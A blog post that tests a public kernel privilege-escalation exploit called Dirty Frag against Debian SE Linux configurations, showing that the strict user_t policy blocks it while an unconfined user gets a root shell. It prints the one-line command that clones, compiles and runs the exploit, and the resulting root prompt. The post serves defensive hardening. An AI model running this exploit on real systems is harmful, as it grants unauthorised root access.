Dirty Frag on Debian and SE Linux
Hot on the heels of the Copy Fail vulnerability [1] there is a new vulnerability Dirty Frag [2] (I linked to the Alma Linux page because it’s the first one I saw and it explains things well).
Table of Contents
The Test System
The test system was running kernel 6.19.14+deb14-amd64 and had the configuration after my last test of Copy Fail which was a default configuration with the following commands run:
semanage login -m -s user_u -r s0 __default__ restorecon -R -v -F /home semanage login -m -s root -r s0 root # logout and login again semodule -X 100 -r unconfined
Strict Policy is Not Vulnerable
I did a quick test on a Debian SE Linux system with a user running as user_t (which is often referred to as “strict policy”) and got the following result:
test@testing1:~/t$ git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp Cloning into 'dirtyfrag'... remote: Enumerating objects: 26, done. remote: Counting objects: 100% (26/26), done. remote: Compressing objects: 100% (20/20), done. remote: Total 26 (delta 9), reused 23 (delta 6), pack-reused 0 (from 0) Receiving objects: 100% (26/26), 5.83 MiB | 11.47 MiB/s, done. Resolving deltas: 100% (9/9), done. dirtyfrag: failed (rc=1) test@testing1:~/t/dirtyfrag$ ./exp dirtyfrag: failed (rc=1)
I checked the audit log and saw the following:
# audit2allow -al #============= user_t ============== allow user_t self:rxrpc_socket create; allow user_t self:user_namespace create;
It seems that the rxrpc_socket access is the main thing.
I did a search for domains permitted to use that class on a system without unconfined domains and saw the following:
# sesearch -A -c rxrpc_socket
allow daemon init_t:rxrpc_socket { getattr getopt ioctl read setopt write };
allow devicekit_disk_t domain:rxrpc_socket getattr;
allow sosreport_t domain:rxrpc_socket getattr;
allow sysadm_t domain:rxrpc_socket getattr;
This configuration doesn’t appear to be vulnerable, at least to this form of the attack.
Unconfined Domains
I reinstalled the unconfined policy with the following command and assigned it to the user test2 with the following commands:
semodule -X 100 -i /usr/share/selinux/default/unconfined.pp.bz2 semanage login -a -s unconfined_u test2 restorecon -R -v -F /home/test2
I then tested the exploit as user test2 and got the following result:
test2@testing1:~$ git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp Cloning into 'dirtyfrag'... remote: Enumerating objects: 26, done. remote: Counting objects: 100% (26/26), done. remote: Compressing objects: 100% (20/20), done. remote: Total 26 (delta 9), reused 23 (delta 6), pack-reused 0 (from 0) Receiving objects: 100% (26/26), 5.83 MiB | 16.57 MiB/s, done. Resolving deltas: 100% (9/9), done. # id uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 #
The kernel message log had the following lines from the time of the attack:
[ 1310.861545] Initializing XFRM netlink socket [ 1310.909048] alg: No test for authencesn(hmac(sha256),cbc(aes)) (authencesn(hmac-sha256-lib,cbc-aes-aesni)) [ 1310.909935] alg: No test for echainiv(authencesn(hmac(sha256),cbc(aes))) (echainiv(authencesn(hmac-sha256-lib,cbc-aes-aesni))) [ 1318.353602] process 'su' launched '/bin/sh' with NULL argv: empty string added
Conclusion
It seems that we will be getting a lot of these so running SE Linux users as user_t is the right thing to do for servers and multi user systems.